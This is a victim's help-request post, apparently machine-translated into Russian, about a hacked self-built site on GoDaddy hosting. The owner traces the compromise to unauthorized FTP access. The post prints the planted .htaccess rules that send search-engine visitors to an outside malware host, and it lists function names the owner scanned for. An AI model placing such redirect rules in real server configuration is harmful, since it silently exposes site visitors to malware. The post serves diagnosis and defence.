Мой сайт был взломан, и на данный момент я знаю некоторые детали, но я не знаю, как именно это произошло или как предотвратить это в будущем. Мне нужна ваша помощь в попытке разобраться с атакой, чтобы я мог предотвратить ее повторение. Это немного долго, но я хочу убедиться, что предоставил достаточно информации, чтобы помочь решить проблему.
Вот что случилось.
Несколько недель назад я получил электронное письмо от моей хостинговой компании GoDaddy, в котором говорилось, что мой сайт использует слишком много ресурсов и что они ожидают, что виноват MySQL-запрос. Запрос был поисковым запросом, в котором было 5-6 терминов. То, как я его настроил, чем больше слов вы искали, тем сложнее становился запрос. Нет проблем. Я исправил это, но в то же время GoDaddy также временно закрыл мою учетную запись, и прошло около 3 дней, прежде чем все вернулось к норме.
После этого инцидента трафик с моей поисковой системы резко упал, примерно на 90%. Это отстой, потому что я ничего об этом не подумал, списав это на фиаско запроса и подумав, что он вернется вовремя, когда Google перерисовал сайт. Это не так.
Несколько дней назад я получил электронное письмо от пользователя, в котором говорилось, что мой сайт содержит вредоносное ПО. Я загрузил сайт прямо в браузере, но ничего не увидел на странице. Затем я проверил свой файл .htaccess и обнаружил следующее:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Милый. И немного коварный. Переход непосредственно на сайт из адресной строки или закладки, что я обычно делаю, будет загружать сайт как обычно. Редко когда я захожу на свой сайт по ссылке из поисковой системы, поэтому взлом оставался незамеченным до тех пор, пока он это делал. Вредоносная программа также не размещалась непосредственно на моем сайте.
Быстрый поиск показал, что другие люди тоже сталкивались с такой же проблемой, хотя я подозреваю, что есть еще много людей, которые еще не обнаружили это. Большинство рекомендаций заключалось в обновлении программного обеспечения до последних версий, смене паролей и т. Д.
Поскольку я использую свою собственную систему управления контентом, а не вездесущий Wordpress, я копнул немного глубже. Я просканировал все мои файлы на наличие общих функций, используемых в эксплойтах PHP: base64_decode, exec, shell и т. Д. Ничего подозрительного не обнаружено, и никаких дополнительных файлов не было.
Затем я проверил историю файлового менеджера GoDaddy и обнаружил, что файл .htaccess был изменен точно в тот же день, когда мой поисковый запрос был обвинен в использовании слишком большого количества ресурсов сервера. Это может быть неудачное совпадение, но я не совсем уверен. Перенаправление в файле .htaccess не выглядит ресурсоемким, и запрос был достаточно сложным, чтобы он мог быть ресурсоемким.
Я хотел убедиться, что мой код не был проблемой, поэтому я проверил журналы трафика на наличие подозрительных действий во время изменения файла .htaccess, но не увидел никаких действий GET или POST, которые выглядели ненормально или как Попытка взлома.
Наконец, я запросил протоколы FTP у GoDaddy и обнаружил, что во время изменения файла .htaccess был несанкционированный доступ к FTP. Я был в отпуске в то время, когда мой компьютер был физически выключен, и больше никого нет с правами доступа. Похоже, кто бы ни использовал FTP, он использовал основного пользователя FTP для своей учетной записи, но с IP-адресом 91.220.0.19, который выглядит так, как будто он из Латвии .
На общем хостинге GoDaddy автоматически назначает основное имя пользователя FTP на основе URL-адреса сайта. Это чрезвычайно предсказуемо, или, по крайней мере, так было, когда я настраивал свою учетную запись хостинга. Я впервые зарегистрировался для учетной записи хостинга несколько лет назад, поэтому она могла измениться, но, насколько я помню, я не смог выбрать основное имя пользователя FTP. В настоящее время вы также не можете изменить имя пользователя, и похоже, что GoDaddy не может ни того, ни другого, если вы не удалите свою учетную запись и не уйдете в отставку. Хотя вы можете создавать, удалять и редактировать других пользователей FTP, основной пользователь FTP не может быть удален. Только пароль может быть изменен.
За исключением основного имени пользователя FTP, все учетные данные для доступа к сайту, базе данных, администратору и учетной записи являются бессмысленными, случайными именами пользователей и паролями, которые выглядят так, как будто ваш кот ходил по вашей клавиатуре. Пример: lkSADf32! $ AsJd3.
Я тщательно проверил свой компьютер на наличие вирусов, вредоносных программ и т. Д. На случай, если это слабое место в ссылке, но ничего не произошло. Я использую брандмауэр, антивирусную программу и стараюсь использовать безопасные привычки просмотра.
Когда я обновляю свой сайт, я использую Core FTP LE и соединение SSH / SFTP. Учетная запись хостинга является настройкой Linux.
В разговоре с техподдержкой GoDaddy они не уверены, как был скомпрометирован пароль FTP. На виртуальном хостинге они не могут разместить блок IP на уровне пользователя FTP. Они также не могут изменить основное имя пользователя FTP. Когда я спросил, есть ли у них грубая защита при доступе по FTP, технология сначала показалась неуверенной, но потом ответила, что после того, как я перефразировал ее несколько раз. Тем не менее, я помню, что задавал тот же вопрос во время предыдущего разговора и слышал, что GoDaddy не имеет защиты от перебора на FTP-доступе. На данный момент, я не знаю, если они делают или нет.
Я изменил все свои учетные данные для доступа через доску, а также запретил латвийский IP-адрес с помощью файла .htaccess (вероятно, не будет иметь значения, если они используют FTP), но я все еще не уверен, как FTP пароль был взломан для начала.
Я совершенно уверен, что проблема была не в моем коде (даже если это так, информация FTP не должна была быть раскрыта) или в моем компьютере. Что я подозреваю, но не знаю, как это доказать, так это то, что пароль FTP был взломан, поскольку имя пользователя было предсказуемым. Атака грубой силы могла также совпасть с использованием ресурсов сервера (обвиняемый в моем запросе), но я не знаю достаточно технической стороны серверов, чтобы знать, возможно ли это или даже вероятно.
Теперь я чувствую, что я в конце того, что я знаю, что делать. Я хотел бы иметь возможность понять, как осуществлялась атака и как ее предотвратить, поэтому, если у вас есть какие-либо дополнительные идеи о направлениях атаки, диагностике, которую можно выполнить, или о дополнительных мерах безопасности, я был бы очень признателен. Я более чем готов сменить хостинг или общий хостинг, но хочу убедиться, что смогу предотвратить это снова.
Помоги мне, Оби-Ван Кеноби ...